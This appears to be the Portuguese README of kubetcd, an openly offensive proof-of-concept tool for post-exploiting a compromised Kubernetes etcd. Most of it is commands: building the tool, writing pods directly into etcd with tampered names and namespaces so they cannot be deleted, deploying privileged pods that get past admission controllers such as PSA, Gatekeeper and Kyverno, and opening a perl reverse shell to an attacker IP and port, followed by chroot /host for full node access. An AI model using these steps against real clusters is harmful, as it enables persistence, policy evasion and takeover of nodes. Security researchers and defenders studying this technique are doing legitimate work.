
Pós-explore um etcd comprometido, obtenha persistência e shell remoto nos nós.
Wrapper de https://github.com/jpbetz/auger.
Automatiza a implantação de pods escrevendo diretamente no etcd. Inclui múltiplas funções para pós-exploração de etcds comprometidos.
[!WARNING]
Este é um PoC, não o utilize em ambiente de produção. Escrever diretamente no etcd pode resultar em inconsistências ou dados corrompidos, o que pode fazer com que a lógica dokube-apiserverfalhe ao recuperar ou manipular dados do etcd. Ambientes de teste com vários nós podem ser implantados com KIND
O repositório principal, auger, fornece as principais funcionalidades para serializar e desserializar entradas em protobuffer no etcd. O Kubetcd é um PoC que envolve essas funcionalidades para aproximar o etcdctl do cliente normal kubectl. Num cenário com um etcd comprometido, o kubetcd tentaria utilizar pods manipulados e privilegiados para obter persistência e acesso privilegiado a qualquer um/todos os host(s) do cluster. Note que o kubetcd atualmente só suporta operações com pods.
O Kubetcd obtém os certificados e chaves para autenticar contra o serviço etcd nos seguintes caminhos padrão:
Além disso, o endpoint padrão está definido como 127.0.0.1:2379
Todos os valores padrão anteriores podem ser alterados através de parâmetros.
Além disso, o etcdctl, o cliente para etcd, deve estar instalado.
sudo apt install etcd-client
Clone o repositório e compile:
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .
Pode encontrar o seguinte erro:
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)
Se for o caso, compile kubetcd com Golang 1.19.
Consulte https://github.com/jpbetz/auger para as principais funcionalidades do auger, que continuam disponíveis. Este README detalhará apenas as novas funcionalidades adicionadas ao wrapper:
./kubetcd -h
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>
templateName deve ser um pod em execução no namespace padrão:
./kubetcd create pod <name> -t <templateName>
Pode sobrescrever um pod em execução simplesmente definindo os mesmos valores para name e templateName.
./kubetcd create pod <name> -t <templateName> --image <image>
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"
O ETCD grava novos pods em /registry/pods/<namespace>/<name>, mas os campos namespace e name podem ser adulterados.
Dessa forma, esses pods podem ser listados com kubectl, mas não podem ser excluídos.
./kubetcd create pod <name> -t <templateName> -p <randomentry>
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace
Implante a carga de trabalho em qualquer nó à vontade:
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>
Implante pods privilegiados em namespaces restritos. Isso contornaria AdmissionControllers integrados, como PSPs, PSAs, ou qualquer outra política baseada em políticas personalizadas, como OPA Gatekeer ou Kyverno:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P
A flag -P definirá qualquer pod como privileged e compartilhará os namespaces network, PID e IPC com o nó subjacente.
Implante pods privilegiados em namespaces restritos e obtenha um shell remoto:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>
Isso iniciará um reverse shell em perl, que está presente em várias imagens por padrão.
Quando tiver o reverse shell, altere o filesystem raiz com chroot /host para obter acesso total ao nó.
corev1